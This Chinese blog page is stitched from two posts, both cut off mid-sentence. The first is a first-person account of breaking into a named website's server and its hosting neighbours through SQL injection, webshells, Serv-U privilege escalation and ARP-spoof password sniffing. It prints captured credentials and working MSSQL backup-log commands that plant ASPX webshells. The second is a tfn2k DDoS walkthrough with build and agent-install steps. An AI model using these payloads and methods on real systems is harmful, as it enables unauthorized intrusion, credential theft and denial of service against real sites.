出现了久违的终端管理界面,呵呵,我喜欢。哇,还没回过神,终端窗口弹出一个对话框: 大致内容是 各位小黑朋友珍爱生命啦!不要玩火啦, By 朽木

服务器系统是windows 2003 datacenter版的系统,呵呵,算我愚昧,这辈子玩了多年计算机,第一次见刀datacenter的操作系统,照相纪念先!!!据我所知,好像普通人都用不上datacenter吧?

浏览了下www.cbdzg.com的网站,整站asp程序,粗略估计是asp+sql 或者asp+access结构,首页上连接的asp程序,随手加了单引号测试,看出错信息,变量都做了匹配数字检查了,估计正如蛋总所说,朽木同学热心的修正了蛋总网站的漏洞啦! 既然如此,那么走sql注入,找网站漏洞估计没策了,我是没兴趣套字典去爆破web上用户的管理员密码什么的破玩意的啦,说来不怕大伙笑话,我还没用过嗍雪爆破过密码啦。靠,web漏洞既然找不到(不是我找不到,闲着没事,娱乐,就懒得去花大力气折腾了,唉,人懒了就不好,做贼也得勤快下啊!!!后来的事实证明一切我都错了,www.cbdzg.com的网站整个一大堆垃圾asp+access数据库拼凑起来的杂种网站,大把漏洞,没有跑asp.net的应用,依旧启用了asp.net的支持,随便request一个http://www.cbdzg.com/test.aspx的页面都能返回asp.net的错误,启用了asp.net意味着什么?只要在能获得aspx的webshell的情况下,普通虚拟主机针对asp做的webshell以及文件读写权限限制可能就失效了!!!!!),看开放的端口情况,以及hping发出的包的情况来看,hping 发送syn包到其他未开放端口均返回RST包,ttl和开放服务的端口一致,nmap扫描能正常执行下去,那么服务器应该没有硬件防火墙了,仅仅在win2003系统级启用了系统内置的防火墙了。

Web走不通,那么还有ftp套弱口令? 套口令? 傻子干的事,我才没那么好精神去折腾,菜鸟干活速战速决。

克劳德: ???
13Bean: 在
克劳德:有没看看www.cbdzg.com? 好像普通asp注入都过滤了,你看看这个服务器周边的服务器。
13Bean:好

说完话,翻硬盘,随手找了个webdavscan的工具,扫描www.cbdzg.com的255.255.255.0子网网络的80端口,线程4个,多了会丢失连接或者给防火墙发现的,呵呵。


冲完澡,回来看,结果出来了,子网内大量的web服务器,很多近邻的Apache的banner都一样的,估计都是虚拟主机服务商的虚拟主机了,还有IIS6 IIS5,也很多,大致估计大部分都是虚拟主机了,虚拟主机就懒的费劲折腾了,一般我个人估计都没戏,没有任何执行权限,估计搞了也是白搞,webshell上去后没法提权的。13Bean也是个懒人,靠,我说没漏洞了,他也不复查看看,折腾来折腾去,后来真是后悔啊!!!!早知道花点心思看看cbdzg就得了,费了不少事。


写到这个时候,安焦又似乎被人d了,无法打开了,唉!!!这年头,还有人玩ddos,md,过时的玩意了,老掉牙了,你就不能来点新鲜的东西么?


继续写下去先!!!!

琢磨了下下一步如何攻击,既然假定asp注入给过滤了,或许存在其他的漏洞,懒的花功夫去翻那个破站的程序了,那么而且开放了3389以及ftp,而且ftp程序有漏洞,而且iis可以运行asp.net ,那么如果拿到ftp帐户,上传个asp.net的webshell上去,那么轻松就获得了users用户组的权限,想办法运行serv-u本地溢出或者找其他的本地如06040的溢出获取system权限,ok,那么就老办法,内网sniffer吧!

运气特好,花了点功夫,在子网里面翻到了一个asp的注入漏洞的,而且是dbo权限,立刻本地装了个mssql2000,调试温习了下相关的sql语句,脚本小子都莫笑话俺了,现在工作不用sql2000了,都忘干净了,瞎折腾了一下,顺利拿到了system权限,3389登陆系统,ipconfig,靠!!!竟然是255.255.255.224的子网掩码,完了,不在同一子网,看来算计arp攻击的 没策了。


13Bean: 白搞了啊,不是同一子网,靠
克劳德: 是啊,倒霉,知道子网掩码了,继续找那个子网的


下面一台一台的到webhosting网站查虚拟主机了,靠,痛苦啊,随便翻来翻去,好像找不到入侵点了。

13Bean:有搞头
克劳德:怎么?我没
看到什么网站有漏洞啊
13Bean:你看XX.XX.XX.XX这个ip 有个XX网站,XX网站肯定有漏洞撒
克劳德:哇,我发现你好伟大,我看的时候好多域名捆在上面,可是都是过期了,下面几个我都懒的翻了。
13Bean:黑客精神不能放弃撒
克劳德:jb黑客,老子和你是2个sb黑客

好,继续看13Bean丢过来的xx网站,好几个应用程序,asp+access的,很自然有sql注入漏洞,也很随便的猜到了后台地址。找个工具,暴到了后台管理密码,一个图片管理系统,找来找去好像没上传漏洞等可以利用的。

克劳德:13Bean,怎么样了,图片管理系统后台好像没有什么可以利用的
13Bean:等等,我一句话木马写进去了,找了另一个后台,马上获得webshell
克劳德:好
。。。
。。。
13Bean:http://www.xxx.com/helper.asp 站长助手,密码123456
克劳德:偶像啊!!!!
13Bean:日
克劳德:赶快serv-u提权看看
13Bean:==
。。。
。。。
13Bean:哈哈,成功了
Net user
User accounts for \\XX服务器

-------------------------------------------------------------------------------
Administrator goldsun Guest
Iusr_xx IWAN_xx
The command completed successfully.

用户名:goldsun 密码:love
克劳德:噢,偶像!!!你好伟大!
13Bean:(害羞表情)
克劳德:我现在上去,装cain 抓内网密码,赶快在搞一台肉鸡,然后sniffer 蛋蛋的cbdzg
13Bean: 好,渗透的事交你了
克劳德:我怕朽木在服务器上装了antiarp,如果我直接sniffer 蛋蛋的站,估计利马就给发现了,保险点,在搞台肉鸡比较好(事后证明我是个大sb,总是把别人高估了)
13Bean:嗯



登陆肉鸡,顺利装了cain,选定了几个目标,开始arp spoof攻击,抓ftp密码。

天色已晚,挂机,睡觉先。

Cain是我感觉在渗透时最好用得sniffer软件了,普通的明文密码都可以抓获,sql,mysql,http等等,感觉用过的最方便的一次是在一次sql注入中,已经获知了web连接sql是dbo权限,对web和db之间的通信做了arp欺骗攻击,轻松就获得了sql的dbo用户密码,进而获取了system权限。arp spoof以及sniffer几个鼠标点击就完成了,相比同类型的linux下的ettercap相对差了点,至少操作不方便,相对国内的卖网马,卖expliot的所谓黑客高手而言,国外的黑客至少我觉得从精神上 道德上比中国所谓的黑客要高尚多了,某些人写了个所谓的独立开发完成的木马或者ddos工具 无不拿出来炫耀,卖钱去了,精神没有专注在技术上,我想写出来的程序也不会好到哪里去吧,如此下去,中国永远不可能出现类似cain这样如此优秀的程序了。

声明下:我不是什么专职黑客,13Bean也不是,我只是个系统管理员,对系统漏洞,安全方面大致都一些了解,一年多也没接触sql注入了,手工注入命令都忘记了,这里入侵用到的知识只是平时系统、网络管理知识的积累,以及google找的相关资料,以前接触过一些黑客知识,现在感觉主要加深了个人对系统整体安全防御的理解。奉劝各位,黑客没有什么前途,最近我看了很多黑客界的娱乐新闻以及所谓的内幕,所谓的第4,第5代黑克都tmd是小人,骗子流氓,真正研究黑客技术就注定不能接触黑金!!!粘了黑钱,技术也不叫技术了,这是真话。不过俺蛮喜欢看黑客界的娱乐新闻和内幕第,欢迎各位fans 和我交流娱乐新闻哟!!

黑客?其实再想想,黑客都是流氓小人骗子,未经主人同意,入侵了系统,难道不是么?偏偏一大群小p孩喜欢跟风,是吧,很光荣,对吧,一大堆人追捧你,或许觉得很有意思?但请不要忘记了本质,你入侵了系统,你tmd就是个贼了,你就触犯了刑法,虽然有人会以他还是个孩子我还小我不懂事来逃避责任,说多了听多了也觉得腻味了。黑客?所谓的丰功伟绩,英雄事迹哄哄小孩子农民伯伯或许还行的通,哄内行人给人看了笑话。随便抓个所谓的黑客过来我想问几个基本的网络问题就可以把他问的无语,做黑客?最少要理解网络吧?不管你用工具也好,但如果你连底层协议运作都不明白,你算个鸟的黑客?真正理解了网络,明白了安全的人,随时都可以客串黑客过过所谓的黑客的瘾。

现在中国标杆的第1 2 3代后客都拼了命的骂第4 5代黑客越来越堕落了??不知道形容的对不对,不去研究底层安全技术,就知道玩脚本入侵,我觉得也好笑,或许现在的第4 5代黑客生财有道,偶听说教主赚了300w啊???老前辈们看了估计比较郁闷?也许眼红?毕竟正规正局的赚那么点技术钱真的很不容易。但不管你是脚本黑客还是底层黑客,你只要在自我的基础上超越了自我,我觉得就够了,毕竟,安全涉及了方方面面,底层编程?系统防御?网络过滤?行政管理?很多,也让人很疲倦,如果老前辈们非要逼迫那些不懂c 数据结构的第4 5代黑客去做些研究底层编程的问题,或许这样他们认为是真正的在研究安全了,但我想也没有任何意义,研究下去个人的能力是否能有质的提升? 我对程序不在行,所以我一直没有进入程序这一块,但我并不觉得我在安全以外。是否喜欢研究底层核心安全只在于他个人是否愿意在精神 技术上提升自己了,在中国这个浮躁 势利的社会,任何的一切都是为了¥,活着的人其实都很无奈的为了¥而活着。


天亮鸟,继续干活,登陆肉鸡3389,上cain看了下,抓了大把http密码,好像还有管理员的后台密码,ftp密码也有几个,一个一个的登陆上去看了几下,顺便把相关密码信息留言发给13Bean的qq上了。


白天忙工作先,差不多太阳晒屁股的时间,13Bean同志从床上爬上网上来了。上来就打了个招呼先,不愧是在同一条战线上的好同志啊!!!


13Bean:有没什么收获,内网?
克劳德:抓了几个机器的ftp和web系统的管理后台,好像都是虚拟主机,有一两个是托管的服务器,但找不到可以利用的地方。先等等,继续等等,多弄台肉鸡保险点好。
13Bean:哈哈,搞不到,老子就到内网d蛋蛋的机器
克劳德: 靠,你也太没品味了吧,这年头,你还玩d?
13Bean:说的好玩的,鬼才d他,我在看看你发来的sniffer到的密码先。
克劳德:你看这里哟http://www.tianya.cn/xxxxx.htm,我发掘了一个火贴,蛋总发的朽木同学某年某月要接受安全一套的采访的帖子,不看里面的视频我还真不晓得咧,xfocus的flashsky也跑到里面灌水啊,我们也去起哄去撒!!!
13Bean:好啊,把这个帖子顶上去


就这样 2个无聊的家伙又到天涯闹翻了天,最后该帖子翻页过了4页,辛苦死了!我再这里替各位没有看到的fans回味下,这个帖子内容非常精彩,揭短对骂的火爆异常啊!可惜第二天再上去灌的时候发现已经被删除了,不知道是为何?俺发现所谓的黑客圈子,每每只要吵架就特别娱乐哟!什么狗屁内幕啊,都给甩出来了。真可谓是娱乐大众的好题材。

克劳德:天涯的帖子给删了啊!靠 好不容易炒作到那样了,暴了好多内幕哟
13Bean:啊???不会吧 昨天晚上的我还没有看啊!!!遗憾啊
克劳德:这里还有个撒,安焦的
https://www.xfocus.net/bbs/index.php?act=ST&f=1&t=62188&page=all 安焦的肯定不会删,你看看,这个帖子再安焦水区的推荐贴哟!!!天涯的删就删,到安焦炒作区撒
13Bean:好,你还蛮喜欢看这些娱乐新闻咧?
克劳德:没办法撒,我们是伪黑客,关注下娱乐新闻 过过黑客的瘾撒!


天涯吵完鸟,继续干活,等了好几天了,就是没有嗅到什么有价值的东西,郁闷啦!!


13Bean: 有没消息?
克劳德:没有啊,倒是嗅到了一大堆sa密码,有个sb一天到晚的用工具爆破旁边一台机器的1433端口的sa密码,他不累老子看的都累了
13Bean: 这种sb现在还有啊???
克劳德:没办法撒,我们伟大祖国的黑客培训事业欣欣向荣,也培育了一大堆可爱的小黑撒
13Bean: 就是 服了他们了,随便都能爆破个sa密码 那小黑不都成了大牛了?
克劳德:再等等吧,我怕朽木真装了antiarp,不然我随便嗅他的,那我不给暴露了?靠 到时候警察叔叔要来抓我的哟
13Bean:直接搞了拉倒,少费事
克劳德:烦躁,搞!我修改下Cain的端口过滤规则,把ftp的21要改成520端口,朽木改了ftp的默认端口
13Bean:好
克劳德:靠,竟然可以搞arpspoof,我还因为朽木搞了antiarp之流的东西,吓死我鸟,我怎么老高估了别人?
13Bean:你个sb,折腾这么多事
克劳德:我只是客串出演下黑客,技术不娴熟撒
克劳德:我抓了个sql2000的帐户,旁边有台机器好像和远程做了分发同步,每天都定时连接数据库做数据同步,普通db_owner的权限,可以备份日志搞个webshell,你等等,我可以直接从外部用sql企业控制台连接服务器的1433呢
13Bean:对外开放了网站么?
克劳德:有,www.xxx.com www.bbb.com www.ccc.com都是的,不过都是aspx的站,好像不支持asp,请求asp提示内部错误
13Bean:那写asp的一句话木马,备份日志获得webshell走不通了???
克劳德:估计是的,aspx的一句话木马网上有没有啊??
13Bean:没有 我搜索过了
克劳德:你等等,我找找asp.net的代码调试下,或者我找个朋友问问
13Bean:好

过了一两天

克劳德:兄弟,我成功了,aspx的备份日志木马我搞定了,我搞了2个

alter database pubs  set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:\TM' with init
insert into pubs.dbo.cmd(a) values ('<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("i.aspx"),false);ow.Write(Request.Params["m"]);ow.Close()%> ')
backup log pubs to disk = 'd:\haha.aspx'

这个和asp的一样,客户端post一个变量m 把木马代码丢在变量m里面 就ok了 这个是类似asp的一句话木马

下面这个是我找网上的asp.net的上传文件程序,修改精简了下,也可以用,我在本机调试好了

drop table pubs.dbo.cmd
alter database pubs  set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:\TM' with init
insert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bc(object o,EventArgs e) {string u="files";string filename;int pos=f.PostedFile.FileName.LastIndexOf("\\");filename=f.PostedFile.FileName.Substring(pos + 1);f.PostedFile.SaveAs(Server.MapPath(u)+"\\"+filename);}</script><form method="post" runat="server"><input type="file" id="f" runat="server"/><input type="submit"  value="ss" runat="Server" OnServerClick="bc" /></form>')
backup log pubs to disk = 'c:\inetpub\wwwroot\ha.aspx'


13Bean:web路径你知道么?
克劳德:web路径知道啊,用xp_dirtree找到路径了
13Bean:你快搞啊
克劳德:等等。。。
克劳德:代码有点问题啊,怎么在服务器上执行备份的代码执行会出错啊??
伤脑经,http://wwww.xxx.com/haha.aspx 你看
13Bean:怎么回事?
克劳德:你等等 错误提示里面我的木马代码怎么有个字符给替换成一个特殊字符了??
13Bean:你自己看看,我不懂
克劳德:我在弄弄

克劳德:我知道原因了,备份的日志文件好像sql内部用了这个特殊字符做分界符??我刚才把代码全部改成aaaaaaaaaaa的普通文本了,请求url没有报错,看来那个字符在搞鬼,我知道怎么搞了
13Bean:好 等你消息了
克劳德:ok,搞定了,在写木马到db的时候,在木马代码前面填充306个字母a 我就躲避过了这个字符,备份的webshell可以执行了
13Bean:地址?
克劳德:http://www.xxx.com/ok.aspx
13Bean:怎么上传文件也会出错啊?
克劳德:我不知道啊啊,烦死了,.net默认屏蔽了外部看到错误信息的,只能本地看到错误信息
13Bean:怎么办?
克劳德:你等等,我刚才改的那个aspx的上传文件代码里面有错误捕获的,为了最小化代码,我去掉了。我加入错误捕获看看是什么导致的
13Bean:好
克劳德:

drop table pubs.dbo.cmd
alter database pubs  set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:\T ' with init
insert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bp(object o,EventArgs e) {string u="files";string filename;try {int pos = f.PostedFile.FileName.LastIndexOf("\\");if (pos > 0) filename = f.PostedFile.FileName.Substring(pos + 1);else filename = f.PostedFile.FileName;Response.Write(Server.MapPath(u) + "\\" + filename);f.PostedFile.SaveAs(Server.MapPath("filename"));} catch (Exception ex) {Response.Write("Error: " + ex.Message.ToString());}}</script><form method="post" runat="server"><input type="file" id="f" runat="server" size="50"/><input type="submit" value="s" runat="Server" OnServerClick="bp" /></form>')
backup log pubs to disk = 'd:\haha2.aspx'

克劳德:http://www.ddd.com/haha2.aspx 丢上去了,靠 提示上传文件没有写入权限,靠!!!!
13Bean:倒 怎么这么变态?
克劳德:老子倒霉,白折腾了几天
克劳德:噢,你等等 他有一个网站的后台,是弱口令,可以登陆进去,里面可以上传图片管理的啊,我记得我都用过,那么那个上传图片的目录一定有写权限,你在等等
13Bean:好
良久
克劳德:ok 找到图片上传路径了 http://www.xx.com/upload/haha.aspx 我写这里去了 上传文件ok了! http://www.xx.com/upload/ok.aspx木马 密码123456
13Bean: 怎么提示文件找不到
克劳德:啊?不会啊 上传其他的文件都没有问题啊!!!难道被杀了?
13Bean:你等等 我有个aspx的免杀木

分类: 资源共享 标签:

分布式拒绝攻击(DDOS)软件tfn2k攻防

2006年9月25日 Chinadu 没有评论

首先,我写这篇文章的目的,并不是我想成为什么hacker之类,而且我不并不鼓励任何人利用它来做一些有损他人的事情,我只是想多一些人关注网络安全,共同研究并防御DOS。因为我是深受其害:(,所以,这篇文章仅用于技术参考,供大家研究DDOS防御之用。如果你利用它来 做一些不合法的事情,那结果与我无关。

拒绝服务攻击(DOS,Denial Of Service)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成的dos,可能性非常小,更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,Distributed Denial Of Service),利用更多的代理集中攻击目标,其危害更大。

我们大家都知道tcp/ip协议现在已经成为整个internet框架协议,可以说,如果没有tcp/ip,至少internet不会像现在这样普及,甚至不可能会有internet。但凡事皆有两面性,tcp/ip使我们大家受益,同时因为协议本身构造的问题,它也成为别人攻击我们的工具。我们以tcp三握手建立连接的过程来说明。

一。tcp syn flood

1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器,此数据包内包含客户端端口及tcp序列号等基本信息。

2.服务器(server)接收到SYN包之后,将发送一个SYN-ACK包来确认。

3.客户端在收到服务器的SYN-ACK包之后,将回送ACK至服务器,服务器如接收到此包,则TCP连接建立完成,双方可以进行通讯(感觉像,一拜天地...二拜高堂...送入洞房...哈哈)
问题就出在第3步,如果服务器收不到客户端的ACK包,将会等待下去,这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系统不同),如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种攻击往往事半罪倍,杀伤力超强。

当然,DOS攻击的方法多种多样,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很详细的原理及常用攻击软件介绍。不过说到DOS攻击软件,最具代表的莫过于tfn2k (Tribe Flood Network 2000),其作者是德国大名鼎鼎的mixter( 其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k,哎~~,不知道又有多少人寝食难安了...

二.tfn2k攻击原理

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作,其所能实现的功能让人瞠目结舌,叹为观止...(对它的敬畏有如滔滔江水,延续不绝...)来看看它的架构。

主控端---运行tfn客户端,来遥控并指定攻击目标,更改攻击方法.(罪大恶极)

代理端---被植入并运行td进程的牺牲品,接受tfn的指挥,攻击的实施者.需要注意的是,一个攻击者,往往控制多台代理来完成攻击,而且其系统多为unix,linux等.(可怜的牺牲品)

目标主机---被攻击的主机或网络,曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁闷如我)

2.tfn2k特性。

◆ 主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、

ICMP/PING、混合攻击、TARGA3等。

◆ 主控端与代理端的通讯采取单向,即主控端只向代理端发送命令,并且会采取随机的头信息,甚至虚拟的源地址信息,代理端不会逆向向主控端发送任何信息.

◆ 所有命令经过cast-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证.

◆ 利用td进程,主控端可以远程执行shell命令.

◆ td进程的名称可以在编译时更改,更便于隐藏.

◆ tfn可以编译运行于win32及linux系统的.

...

至于伪造源IP地址等功能,更是基本功能,并且其与老版本的tfn相比,它的发包效率更高,我自已的测试,在短短不到5分钟,两台代理机,使我的redhat linux 9.0系统瘫痪.

三.tfn2k 实战测试

1.测试环境:

软件:redhat linux 9.0

硬件平台:

master:

IP: 192.168.0.6

PIV2.4/256*2/rtl8139

Ag1 :

IP: 192.168.0.2

PIV2.4/256*/rtl8139

AG2 : IP: 192.168.0.3

pIV2.6/512*2/3c905

AIM: 192.168.0.5

pIV2.66c/512*2/3c905

switch: D_link des 1024R

1.下载tfn2k.tgz(因为此软件非比寻常,所以我并不提供下载地址,如果有兴趣,自已到网上找吧)

2.解压: tar zxvf tfn2k.tgz

3.修改文件

A. src/Makefile 如果你的系统是linux系统,不需要做任何修就可以,如果是win32系统,请将

# Linux / *BSD* / Others

CC = gcc

CFLAGS = -Wall -O3

CLIBS =

这几行注释掉,并将

# Win32 (cygwin)

#CC = gcc

#CFLAGS = -Wall -DWINDOZE -O2

#CLIBS =

这几行的注释去掉.因为我的测试系统为redhat linux 9.0所以并未做任何修改.

B. src/config.h ,默认的就可以用,如果感兴趣,可以照其注释信息进行调整。

C. src/ip.h 这里要做一些修改,否则编译会有错误,发生重复定义。

/*struct in_addr

{

unsigned long int s_addr;

};*/

注意啊~~我可是将它放在"/* */"之间,也就是注释掉了:)

D.更改编译器:

因为tfn2k支持的是egcs-1.1.2-30,而redhat linux 9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc,tfn2k是编译不过去的.需

要注意的是,更改之后,有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行.

方法很简单的,找到一张redhat linux 6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/

cd /mnt/cdrom/Redhat/RPMS

cp egcs-1.1.2-30* cpp-1.1.2-30* ~/

安装cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm

安装egcs rpm -Uvh egcs-1.1.2-30.i386.rpm (如果提示有误,用nodeps、oldpackages、ignoreos等参数忽略过去就是了)

4.编译tfn2k

cd tfn2k/src

make

首先会谈出一个声明,你必须接受,之后会提示输入8-32位密码,前边提到过,这是唯一的认证凭证,会被分发于td进程中,所以一定

要记牢噢~。

编译通过后,会产生td及tfn,这就是大名鼎鼎的tfn2k啦~,td是守护进程,用来安装在代理中的,而tfn就是控制端.

5.安装td.

将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因为我只不过测试,所以用的是合法的root来上传并执行td进程的,如果真要找到并安装一个代理,你可能得费点儿神,因为没有一个管理员会说"come on baby ~~.我给你root,来安装td做代理吧"

[root@test /] ftp 192.168.0.2

Connected to 192.168.0.2.

530 Please login with USER and PASS.

530 Please login with USER and PASS.

Name (192.168.0.2:root): wjpfjy

331 Please specify the password.

Password:

230 Login successful. Have fun.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> put td (上传td)

local: td remote: td

227 Entering Passive Mode (192,168,0,3,198,225)

553 Could not create file.

ftp> by (退出ftp)

221 Goodbye.

[root@test /]ssh 192.168.0.2 登陆到ag1 以执行td ,注意,

分类: 技术文章 标签: ,